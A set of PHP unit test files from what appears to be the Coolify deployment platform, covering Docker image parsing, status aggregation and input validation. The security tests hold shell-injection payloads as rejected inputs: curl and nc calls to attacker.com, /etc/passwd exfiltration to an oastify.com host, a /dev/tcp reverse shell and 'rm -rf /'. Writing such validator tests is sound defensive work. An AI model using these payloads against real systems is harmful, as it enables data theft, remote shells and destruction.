$component->imageSha256 = '';
$component->updatedImageName();
expect($component->imageName)->toBe('registry.example.com:5000/myapp')
->and($component->imageTag)->toBe('v1.2.3')
->and($component->imageSha256)->toBe('');
});
it('auto-parses ghcr image with sha256 digest', function () {
$hash = 'abc123def456789abcdef123456789abcdef123456789abcdef123456789abc1';
$component = new DockerImage;
$component->imageName = "ghcr.io/user/app@sha256:{$hash}";
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
expect($component->imageName)->toBe('ghcr.io/user/app')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe($hash);
});
it('does not auto-parse if user has manually filled tag field', function () {
$component = new DockerImage;
$component->imageTag = 'latest'; // User manually set this FIRST
$component->imageSha256 = '';
$component->imageName = 'nginx:stable'; // Then user enters image name
$component->updatedImageName();
// Should not auto-parse because tag is already set
expect($component->imageName)->toBe('nginx:stable')
->and($component->imageTag)->toBe('latest')
->and($component->imageSha256)->toBe('');
});
it('does not auto-parse if user has manually filled sha256 field', function () {
$hash = '4e272eef7ec6a7e76b9c521dcf14a3d397f7c370f48cbdbcfad22f041a1449cb';
$component = new DockerImage;
$component->imageSha256 = $hash; // User manually set this FIRST
$component->imageTag = '';
$component->imageName = 'nginx:stable'; // Then user enters image name
$component->updatedImageName();
// Should not auto-parse because sha256 is already set
expect($component->imageName)->toBe('nginx:stable')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe($hash);
});
it('does not auto-parse plain image name without tag or digest', function () {
$component = new DockerImage;
$component->imageName = 'nginx';
$component->imageTag = '';
$component->imageSha256 = '';
$component->updatedImageName();
// Should leave as-is since there's nothing to parse
expect($component->imageName)->toBe('nginx')
->and($component->imageTag)->toBe('')
->and($component->imageSha256)->toBe('');
});
it('handles parsing errors gracefully', function () {
$component = new DockerImage;
$component->imageName = 'registry.io:5000/myapp:v1.2.3';
$component->imageTag = '';
$component->imageSha256 = '';
// Should not throw exception
expect(fn () => $component->updatedImageName())->not->toThrow(\Exception::class);
// Should successfully parse this valid image
expect($component->imageName)->toBe('registry.io:5000/myapp')
->and($component->imageTag)->toBe('v1.2.3');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/GetContainersStatusServiceAggregationTest.php | tests/Unit/GetContainersStatusServiceAggregationTest.php | <?php
/**
* Unit tests for GetContainersStatus service aggregation logic (SSH path).
*
* These tests verify that the SSH-based status updates (GetContainersStatus)
* correctly aggregates container statuses for services with multiple containers,
* using the same logic as PushServerUpdateJob (Sentinel path).
*
* This ensures consistency across both status update paths and prevents
* race conditions where the last container processed wins.
*/
it('implements service multi-container aggregation in SSH path', function () {
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Verify service container collection property exists
expect($actionFile)
->toContain('protected ?Collection $serviceContainerStatuses;');
// Verify aggregateServiceContainerStatuses method exists
expect($actionFile)
->toContain('private function aggregateServiceContainerStatuses($services)')
->toContain('$this->aggregateServiceContainerStatuses($services);');
// Verify service aggregation uses same logic as applications
expect($actionFile)
->toContain('$hasUnknown = false;');
});
it('services use same priority as applications in SSH path', function () {
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Both aggregation methods should use the same priority logic
$priorityLogic = <<<'PHP'
if ($hasUnhealthy) {
$aggregatedStatus = 'running (unhealthy)';
} elseif ($hasUnknown) {
$aggregatedStatus = 'running (unknown)';
} else {
$aggregatedStatus = 'running (healthy)';
}
PHP;
// Should appear in service aggregation
expect($actionFile)->toContain($priorityLogic);
});
it('collects service containers before aggregating in SSH path', function () {
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Verify service containers are collected, not immediately updated
expect($actionFile)
->toContain('$key = $serviceLabelId.\':\'.$subType.\':\'.$subId;')
->toContain('$this->serviceContainerStatuses->get($key)->put($containerName, $containerStatus);');
// Verify aggregation happens before ServiceChecked dispatch
expect($actionFile)
->toContain('$this->aggregateServiceContainerStatuses($services);')
->toContain('ServiceChecked::dispatch($this->server->team->id);');
});
it('SSH and Sentinel paths use identical service aggregation logic', function () {
$jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Both should track the same status flags
expect($jobFile)->toContain('$hasUnknown = false;');
expect($actionFile)->toContain('$hasUnknown = false;');
// Both should check for unknown status
expect($jobFile)->toContain('if (str($status)->contains(\'unknown\')) {');
expect($actionFile)->toContain('if (str($status)->contains(\'unknown\')) {');
// Both should have elseif for unknown priority
expect($jobFile)->toContain('} elseif ($hasUnknown) {');
expect($actionFile)->toContain('} elseif ($hasUnknown) {');
});
it('handles service status updates consistently', function () {
$jobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
$actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Both should parse service key with same format
expect($jobFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');
expect($actionFile)->toContain('[$serviceId, $subType, $subId] = explode(\':\', $key);');
// Both should handle excluded containers
expect($jobFile)->toContain('$excludedContainers = collect();');
expect($actionFile)->toContain('$excludedContainers = collect();');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ValidateShellSafePathTest.php | tests/Unit/ValidateShellSafePathTest.php | <?php
test('allows safe paths without special characters', function () {
$safePaths = [
'/var/lib/data',
'./relative/path',
'named-volume',
'my_volume_123',
'/home/user/app/data',
'C:/Windows/Path',
'/path-with-dashes',
'/path_with_underscores',
'volume.with.dots',
];
foreach ($safePaths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
}
});
test('blocks backtick command substitution', function () {
$path = '/tmp/pwn`curl attacker.com`';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'backtick');
});
test('blocks dollar-paren command substitution', function () {
$path = '/tmp/pwn$(cat /etc/passwd)';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'command substitution');
});
test('blocks pipe operators', function () {
$path = '/tmp/file | nc attacker.com 1234';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'pipe');
});
test('blocks semicolon command separator', function () {
$path = '/tmp/file; curl attacker.com';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'separator');
});
test('blocks ampersand operators', function () {
$paths = [
'/tmp/file & curl attacker.com',
'/tmp/file && curl attacker.com',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'operator');
}
});
test('blocks redirection operators', function () {
$paths = [
'/tmp/file > /dev/null',
'/tmp/file < input.txt',
'/tmp/file >> output.log',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
}
});
test('blocks newline command separator', function () {
$path = "/tmp/file\ncurl attacker.com";
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'newline');
});
test('blocks tab character as token separator', function () {
$path = "/tmp/file\tcurl attacker.com";
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'tab');
});
test('blocks complex command injection with the example from issue', function () {
$path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
expect(fn () => validateShellSafePath($path, 'volume source'))
->toThrow(Exception::class);
});
test('blocks nested command substitution', function () {
$path = '/tmp/$(echo $(whoami))';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class, 'command substitution');
});
test('blocks variable substitution patterns', function () {
$paths = [
'/tmp/${PWD}',
'/tmp/${PATH}',
'data/${USER}',
];
foreach ($paths as $path) {
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
}
});
test('provides context-specific error messages', function () {
$path = '/tmp/evil`command`';
try {
validateShellSafePath($path, 'volume source');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('volume source');
}
try {
validateShellSafePath($path, 'service name');
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('service name');
}
});
test('handles empty strings safely', function () {
expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
});
test('allows paths with spaces', function () {
// Spaces themselves are not dangerous in properly quoted shell commands
// The escaping should be handled elsewhere (e.g., escapeshellarg)
$path = '/path/with spaces/file';
expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
});
test('blocks multiple attack vectors in one path', function () {
$path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
expect(fn () => validateShellSafePath($path, 'test'))
->toThrow(Exception::class);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationComposeEditorLoadTest.php | tests/Unit/ApplicationComposeEditorLoadTest.php | <?php
use App\Models\Application;
use App\Models\Server;
use App\Models\StandaloneDocker;
use Mockery;
/**
* Unit test to verify docker_compose_raw is properly synced to the Livewire component
* after loading the compose file from Git.
*
* This test addresses the issue where the Monaco editor remains empty because
* the component property is not synced after loadComposeFile() completes.
*/
it('syncs docker_compose_raw to component property after loading compose file', function () {
// Create a mock application
$app = Mockery::mock(Application::class)->makePartial();
$app->shouldReceive('getAttribute')->with('docker_compose_raw')->andReturn(null, 'version: "3"\nservices:\n web:\n image: nginx');
$app->shouldReceive('getAttribute')->with('docker_compose_location')->andReturn('/docker-compose.yml');
$app->shouldReceive('getAttribute')->with('base_directory')->andReturn('/');
$app->shouldReceive('getAttribute')->with('docker_compose_domains')->andReturn(null);
$app->shouldReceive('getAttribute')->with('build_pack')->andReturn('dockercompose');
$app->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['is_raw_compose_deployment_enabled' => false]);
// Mock destination and server
$server = Mockery::mock(Server::class);
$server->shouldReceive('proxyType')->andReturn('traefik');
$destination = Mockery::mock(StandaloneDocker::class);
$destination->server = $server;
$app->shouldReceive('getAttribute')->with('destination')->andReturn($destination);
$app->shouldReceive('refresh')->andReturnSelf();
// Mock loadComposeFile to simulate loading compose file
$composeContent = 'version: "3"\nservices:\n web:\n image: nginx';
$app->shouldReceive('loadComposeFile')->andReturn([
'parsedServices' => ['services' => ['web' => ['image' => 'nginx']]],
'initialDockerComposeLocation' => '/docker-compose.yml',
]);
// After loadComposeFile is called, the docker_compose_raw should be populated
$app->docker_compose_raw = $composeContent;
// Verify that docker_compose_raw is populated after loading
expect($app->docker_compose_raw)->toBe($composeContent);
expect($app->docker_compose_raw)->not->toBeEmpty();
});
/**
* Test that verifies the component properly syncs model data after loadComposeFile
*/
it('ensures General component syncs docker_compose_raw property after loading', function () {
// This is a conceptual test showing the expected behavior
// In practice, this would be tested with a Feature test that actually renders the component
// The issue: Before the fix
// 1. mount() is called -> docker_compose_raw is null
// 2. syncFromModel() is called at end of mount -> component property = null
// 3. loadComposeFile() is triggered later via Alpine x-init
// 4. loadComposeFile() updates the MODEL's docker_compose_raw
// 5. BUT component property is never updated, so Monaco editor stays empty
// The fix: After adding syncFromModel() in loadComposeFile()
// 1. mount() is called -> docker_compose_raw is null
// 2. syncFromModel() is called at end of mount -> component property = null
// 3. loadComposeFile() is triggered later via Alpine x-init
// 4. loadComposeFile() updates the MODEL's docker_compose_raw
// 5. syncFromModel() is called in loadComposeFile() -> component property = loaded compose content
// 6. Monaco editor displays the loaded compose file ✅
expect(true)->toBeTrue('This test documents the expected behavior');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ProxyConfigurationSecurityTest.php | tests/Unit/ProxyConfigurationSecurityTest.php | <?php
/**
* Proxy Configuration Security Tests
*
* Tests to ensure dynamic proxy configuration management is protected against
* command injection attacks via malicious filenames.
*
* Related Issues: #5 in security_issues.md
* Related Files:
* - app/Livewire/Server/Proxy/NewDynamicConfiguration.php
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
*/
test('proxy configuration rejects command injection in filename with command substitution', function () {
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
->toThrow(Exception::class);
});
test('proxy configuration escapes filenames properly', function () {
$filename = "config'test.yaml";
$escaped = escapeshellarg($filename);
expect($escaped)->toBe("'config'\\''test.yaml'");
});
test('proxy configuration escapes filenames with spaces', function () {
$filename = 'my config.yaml';
$escaped = escapeshellarg($filename);
expect($escaped)->toBe("'my config.yaml'");
});
test('proxy configuration accepts legitimate Traefik filenames', function () {
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
test('proxy configuration accepts legitimate Caddy filenames', function () {
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
->not->toThrow(Exception::class);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ValidProxyConfigFilenameTest.php | tests/Unit/ValidProxyConfigFilenameTest.php | <?php
use App\Rules\ValidProxyConfigFilename;
test('allows valid proxy config filenames', function () {
$validFilenames = [
'my-config',
'service_name.yaml',
'router-1.yml',
'traefik-config',
'my.service.yaml',
'config_v2.caddy',
'API-Gateway.yaml',
'load-balancer_prod.yml',
];
$rule = new ValidProxyConfigFilename;
$failures = [];
foreach ($validFilenames as $filename) {
$rule->validate('fileName', $filename, function ($message) use (&$failures, $filename) {
$failures[] = "{$filename}: {$message}";
});
}
expect($failures)->toBeEmpty();
});
test('blocks path traversal with forward slash', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$rule->validate('fileName', '../etc/passwd', function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue();
});
test('blocks path traversal with backslash', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$rule->validate('fileName', '..\\windows\\system32', function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue();
});
test('blocks hidden files starting with dot', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$rule->validate('fileName', '.hidden.yaml', function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue();
});
test('blocks reserved filename coolify.yaml', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$rule->validate('fileName', 'coolify.yaml', function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue();
});
test('blocks reserved filename coolify.yml', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$rule->validate('fileName', 'coolify.yml', function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue();
});
test('blocks reserved filename Caddyfile', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$rule->validate('fileName', 'Caddyfile', function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue();
});
test('blocks filenames with invalid characters', function () {
$invalidFilenames = [
'file;rm.yaml',
'file|test.yaml',
'config$var.yaml',
'test`cmd`.yaml',
'name with spaces.yaml',
'file<redirect.yaml',
'file>output.yaml',
'config&background.yaml',
"file\nnewline.yaml",
];
$rule = new ValidProxyConfigFilename;
foreach ($invalidFilenames as $filename) {
$failed = false;
$rule->validate('fileName', $filename, function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue("Expected '{$filename}' to be rejected");
}
});
test('blocks filenames exceeding 255 characters', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$longFilename = str_repeat('a', 256);
$rule->validate('fileName', $longFilename, function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue();
});
test('allows filenames at exactly 255 characters', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$exactFilename = str_repeat('a', 255);
$rule->validate('fileName', $exactFilename, function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeFalse();
});
test('allows empty values without failing', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$rule->validate('fileName', '', function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeFalse();
});
test('blocks nested path traversal', function () {
$rule = new ValidProxyConfigFilename;
$failed = false;
$rule->validate('fileName', 'foo/bar/../../etc/passwd', function () use (&$failed) {
$failed = true;
});
expect($failed)->toBeTrue();
});
test('allows similar but not reserved filenames', function () {
$validFilenames = [
'coolify-custom.yaml',
'my-coolify.yaml',
'coolify2.yaml',
'Caddyfile.backup',
'my-Caddyfile',
];
$rule = new ValidProxyConfigFilename;
$failures = [];
foreach ($validFilenames as $filename) {
$rule->validate('fileName', $filename, function ($message) use (&$failures, $filename) {
$failures[] = "{$filename}: {$message}";
});
}
expect($failures)->toBeEmpty();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationHealthcheckRemovalTest.php | tests/Unit/ApplicationHealthcheckRemovalTest.php | <?php
/**
* Tests for parseHealthcheckFromDockerfile method
*
* NOTE: These tests verify the logic for detecting when a HEALTHCHECK directive
* is removed from a Dockerfile. The fix ensures that healthcheck removal is detected
* regardless of the health_check_enabled setting.
*/
use App\Models\Application;
it('detects when HEALTHCHECK is removed from dockerfile', function () {
// This test verifies the fix for the bug where Coolify doesn't detect
// when a HEALTHCHECK is removed from a Dockerfile, causing deployments to fail.
$dockerfile = str("FROM nginx:latest\nCOPY . /app\nEXPOSE 80")->trim()->explode("\n");
// The key fix: hasHealthcheck check happens BEFORE the isHealthcheckDisabled check
$hasHealthcheck = str($dockerfile)->contains('HEALTHCHECK');
// Simulate an application with custom_healthcheck_found = true
$customHealthcheckFound = true;
// The fixed logic: This condition should be true when HEALTHCHECK is removed
$shouldReset = ! $hasHealthcheck && $customHealthcheckFound;
expect($shouldReset)->toBeTrue()
->and($hasHealthcheck)->toBeFalse()
->and($customHealthcheckFound)->toBeTrue();
});
it('does not reset when HEALTHCHECK exists in dockerfile', function () {
$dockerfile = str("FROM nginx:latest\nHEALTHCHECK --interval=30s CMD curl\nEXPOSE 80")->trim()->explode("\n");
$hasHealthcheck = str($dockerfile)->contains('HEALTHCHECK');
$customHealthcheckFound = true;
// When healthcheck exists, should not reset
$shouldReset = ! $hasHealthcheck && $customHealthcheckFound;
expect($shouldReset)->toBeFalse()
->and($hasHealthcheck)->toBeTrue();
});
it('does not reset when custom_healthcheck_found is false', function () {
$dockerfile = str("FROM nginx:latest\nCOPY . /app\nEXPOSE 80")->trim()->explode("\n");
$hasHealthcheck = str($dockerfile)->contains('HEALTHCHECK');
$customHealthcheckFound = false;
// When custom_healthcheck_found is false, no need to reset
$shouldReset = ! $hasHealthcheck && $customHealthcheckFound;
expect($shouldReset)->toBeFalse()
->and($customHealthcheckFound)->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/VolumeSecurityTest.php | tests/Unit/VolumeSecurityTest.php | <?php
test('parseDockerVolumeString rejects command injection in source path', function () {
$maliciousVolume = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('parseDockerVolumeString rejects backtick injection', function () {
$maliciousVolumes = [
'`whoami`:/app',
'/tmp/evil`id`:/data',
'./data`nc attacker.com 1234`:/app/data',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects dollar-paren injection', function () {
$maliciousVolumes = [
'$(whoami):/app',
'/tmp/evil$(cat /etc/passwd):/data',
'./data$(curl attacker.com):/app/data',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects pipe injection', function () {
$maliciousVolume = '/tmp/file | nc attacker.com 1234:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects semicolon injection', function () {
$maliciousVolume = '/tmp/file; curl attacker.com:/app';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects ampersand injection', function () {
$maliciousVolumes = [
'/tmp/file & curl attacker.com:/app',
'/tmp/file && curl attacker.com:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString accepts legitimate volume definitions', function () {
$legitimateVolumes = [
'gitea:/data',
'./data:/app/data',
'/var/lib/data:/data',
'/etc/localtime:/etc/localtime:ro',
'my-app_data:/var/lib/app-data',
'C:/Windows/Data:/data',
'/path-with-dashes:/app',
'/path_with_underscores:/app',
'volume.with.dots:/data',
];
foreach ($legitimateVolumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result)->toHaveKey('source');
expect($result)->toHaveKey('target');
}
});
test('parseDockerVolumeString accepts simple environment variables', function () {
$volumes = [
'${DATA_PATH}:/data',
'${VOLUME_PATH}:/app',
'${MY_VAR_123}:/var/lib/data',
];
foreach ($volumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result['source'])->not->toBeNull();
}
});
test('parseDockerVolumeString accepts environment variables with path concatenation', function () {
$volumes = [
'${VOLUMES_PATH}/mysql:/var/lib/mysql',
'${DATA_PATH}/config:/etc/config',
'${VOLUME_PATH}/app_data:/app',
'${MY_VAR_123}/deep/nested/path:/data',
'${VAR}/path:/app',
'${VAR}_suffix:/app',
'${VAR}-suffix:/app',
'${VAR}.ext:/app',
'${VOLUMES_PATH}/mysql:/var/lib/mysql:ro',
'${DATA_PATH}/config:/etc/config:rw',
];
foreach ($volumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result['source'])->not->toBeNull();
}
});
test('parseDockerVolumeString rejects environment variables with command injection in default', function () {
$maliciousVolumes = [
'${VAR:-`whoami`}:/app',
'${VAR:-$(cat /etc/passwd)}:/data',
'${PATH:-/tmp;curl attacker.com}:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString accepts environment variables with safe defaults', function () {
$safeVolumes = [
'${VOLUME_DB_PATH:-db}:/data/db',
'${DATA_PATH:-./data}:/app/data',
'${VOLUME_PATH:-/var/lib/data}:/data',
];
foreach ($safeVolumes as $volume) {
$result = parseDockerVolumeString($volume);
expect($result)->toBeArray();
expect($result['source'])->not->toBeNull();
}
});
test('parseDockerVolumeString rejects injection in target path', function () {
// While target paths are less dangerous, we should still validate them
$maliciousVolumes = [
'/data:/app`whoami`',
'./data:/tmp/evil$(id)',
'volume:/data; curl attacker.com',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects the exact example from the security report', function () {
$exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app';
expect(fn () => parseDockerVolumeString($exactMaliciousVolume))
->toThrow(Exception::class, 'Invalid Docker volume definition');
});
test('parseDockerVolumeString provides helpful error messages', function () {
$maliciousVolume = '/tmp/evil`command`:/app';
try {
parseDockerVolumeString($maliciousVolume);
expect(false)->toBeTrue('Should have thrown exception');
} catch (Exception $e) {
expect($e->getMessage())->toContain('Invalid Docker volume definition');
expect($e->getMessage())->toContain('backtick');
expect($e->getMessage())->toContain('volume source');
}
});
test('parseDockerVolumeString handles whitespace with malicious content', function () {
$maliciousVolume = ' /tmp/evil`whoami`:/app ';
expect(fn () => parseDockerVolumeString($maliciousVolume))
->toThrow(Exception::class);
});
test('parseDockerVolumeString rejects redirection operators', function () {
$maliciousVolumes = [
'/tmp/file > /dev/null:/app',
'/tmp/file < input.txt:/app',
'./data >> output.log:/app',
];
foreach ($maliciousVolumes as $volume) {
expect(fn () => parseDockerVolumeString($volume))
->toThrow(Exception::class);
}
});
test('parseDockerVolumeString rejects newline and tab in volume strings', function () {
// Newline can be used as command separator
expect(fn () => parseDockerVolumeString("/data\n:/app"))
->toThrow(Exception::class);
// Tab can be used as token separator
expect(fn () => parseDockerVolumeString("/data\t:/app"))
->toThrow(Exception::class);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/GlobalSearchNewImageQuickActionTest.php | tests/Unit/GlobalSearchNewImageQuickActionTest.php | <?php
/**
* Unit tests to verify that the "new image" quick action properly matches
* the docker-image type using the quickcommand field.
*
* This test verifies the fix for the issue where typing "new image" would
* not match because the frontend was only checking name and type fields,
* not the quickcommand field.
*/
it('ensures GlobalSearch blade template checks quickcommand field in matching logic', function () {
$bladeFile = file_get_contents(__DIR__.'/../../resources/views/livewire/global-search.blade.php');
// Check that the matching logic includes quickcommand check
expect($bladeFile)
->toContain('item.quickcommand')
->toContain('quickcommand.toLowerCase().includes(trimmed)');
});
it('ensures GlobalSearch clears search query when starting resource creation', function () {
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
// Check that navigateToResourceCreation clears the search query
expect($globalSearchFile)
->toContain('$this->searchQuery = \'\'');
});
it('ensures GlobalSearch uses Livewire redirect method', function () {
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
// Check that completeResourceCreation uses $this->redirect()
expect($globalSearchFile)
->toContain('$this->redirect(route(\'project.resource.create\'');
});
it('ensures docker-image item has quickcommand with new image', function () {
$globalSearchFile = file_get_contents(__DIR__.'/../../app/Livewire/GlobalSearch.php');
// Check that Docker Image has the correct quickcommand
expect($globalSearchFile)
->toContain("'name' => 'Docker Image'")
->toContain("'quickcommand' => '(type: new image)'")
->toContain("'type' => 'docker-image'");
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServerManagerJobSentinelCheckTest.php | tests/Unit/ServerManagerJobSentinelCheckTest.php | <?php
use App\Jobs\CheckAndStartSentinelJob;
use App\Jobs\ServerManagerJob;
use App\Models\InstanceSettings;
use App\Models\Server;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Queue;
use Mockery;
beforeEach(function () {
Queue::fake();
Carbon::setTestNow('2025-01-15 12:00:00'); // Set to top of the hour for cron matching
});
afterEach(function () {
Mockery::close();
Carbon::setTestNow(); // Reset frozen time
});
it('dispatches CheckAndStartSentinelJob hourly for sentinel-enabled servers', function () {
// Mock InstanceSettings
$settings = Mockery::mock(InstanceSettings::class);
$settings->instance_timezone = 'UTC';
$this->app->instance(InstanceSettings::class, $settings);
// Create a mock server with sentinel enabled
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
$server->id = 1;
$server->name = 'test-server';
$server->ip = '192.168.1.100';
